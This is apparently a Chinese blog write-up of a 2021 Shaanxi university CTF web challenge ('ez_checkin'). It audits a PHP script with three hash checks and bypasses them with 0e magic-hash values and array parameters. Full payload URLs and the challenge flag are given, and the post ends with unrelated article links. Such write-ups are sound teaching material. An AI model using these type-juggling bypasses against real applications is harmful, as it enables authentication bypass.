2021陕西省大学生网络安全技能大赛 Web ez_checkin
2024-10-19 12:38:03
web ez_checkin
- 进去看了一会,啥也没找到,直接上dirsearch
- 扫到一个index.php~,打开看一看,是php审计
<?php
error_reporting(0);
include "flag.php";
echo "Come and hack me";
if (isset($_GET["param1"])){
if ($_GET["param1"] == hash("md4", $_GET["param1"]))
{
echo "<br>Welcome to level 2!<br>";
if (isset($_GET['param2']) && isset($_GET['param3'])) {
if ($_GET['param2'] != $_GET['param3'] && md5($_GET['param2']) == md5(md5($_GET['param3']))){
echo "<br>Welcome to level 3!<br>";
if(isset($_GET['param4']) && isset($_GET['param5'])){
if($_GET['param4'] != $_GET['param5'] && md5($_GET['param4']) === md5($_GET['param5'])){
echo $flag;
}
else{
die("Come on ! One more trick!");
}
}
}
else{
die("What R U doing?");
}
}
}
else {
die("????????????");
}
}
一共有三层判断,只要绕过这三层就可以获得flag
第一层是一个MD4绕过
使用0e的科学计数法即可绕过
$_GET["param1"] == hash("md4", $_GET["param1"])
- payload:
http://9cff3263.yunyansec.com/index.php
?param1=0e251288019
- 成功到达第二层
$_GET['param2'] != $_GET['param3'] && md5($_GET['param2']) == md5(md5($_GET['param3']))
双MD5碰撞绕过
MD5大全:
CbDLytmyGm2xQyaLNhWn
md5(CbDLytmyGm2xQyaLNhWn) => 0ec20b7c66cafbcc7d8e8481f0653d18
md5(md5(CbDLytmyGm2xQyaLNhWn)) => 0e3a5f2a80db371d4610b8f940d296af
770hQgrBOjrcqftrlaZk
md5(770hQgrBOjrcqftrlaZk) => 0e689b4f703bdc753be7e27b45cb3625
md5(md5(770hQgrBOjrcqftrlaZk)) => 0e2756da68ef740fd8f5a5c26cc45064
7r4lGXCH2Ksu2JNT3BYM
md5(7r4lGXCH2Ksu2JNT3BYM) => 0e269ab12da27d79a6626d91f34ae849
md5(md5(7r4lGXCH2Ksu2JNT3BYM)) => 0e48d320b2a97ab295f5c4694759889f
- payload:
http://9cff3263.yunyansec.com/index.php
?param1=0e251288019
¶m2=0ec20b7c66cafbcc7d8e8481f0653d18
¶m3=CbDLytmyGm2xQyaLNhWn
- 成功到达第三层
$_GET['param4'] != $_GET['param5'] && md5($_GET['param4']) === md5($_GET['param5'])
一个简单的MD5碰撞
直接使用数组传值,md5()无法处理数组,都会返回NULL
最终payload:
http://9cff3263.yunyansec.com/index.php
?param1=0e251288019
¶m2=0ec20b7c66cafbcc7d8e8481f0653d18
¶m3=CbDLytmyGm2xQyaLNhWn
¶m4[]=1
¶m5[]=2
flag{a869a5ea62bd6a8d2a9294dbc51c58ff}
最新文章
- IOS开发的基础知识
- CSS样式----图文详解(二):css属性
- scrollview嵌套listview 滑动事件冲突的解决方法
- IE浏览器GET传参后台乱码
- 三. ServerSocket用法
- Ensemble Learning 之 Adaboost
- [转]前景检测算法--ViBe算法
- WinForm点击按钮在对应的panel里画图
- 李洪强iOS开之【零基础学习iOS开发】【02-C语言】04-常量、变量
- VSX规划Package文件
- 第一章 01 namespace 命名空间
- [AngularJS] ngPluralize
- JQ 遍历节点
- 阻止IOS自动识别页面上的电话号码、email地址
- 利用Socket实现的两个程序的通信
- [置顶] IOS培训资料
- embedded dylibs/frameworks are only supported on iOS 8.0 and later 错误解决
- [CLR via C#]1.6 Framework类库~1.9与非托管代码的互操作性
- C++数据个数未知情况下的输入方法
- git tag本地删除以及远程删除
热门文章
- 数据泵导入,报错:ORA-12899: value too large for column ";SCOTT";.";TEST112";.";JOIN"; (actual: 9, maximum: 8)
- gRPC入门—golang实现
- android悬浮窗口
- Python基础之:Python的数据结构
- Java基础篇(JVM)——类加载机制
- layui laydate 设置日期格式 最大值等
- 利用C语言判别用户输入数的奇偶性和正负性
- Linux(CentOS)下安装docker
- CentOS-yum安装Redis(单点)
- Docker:虚拟机挂起后,再启动docker容器连接失败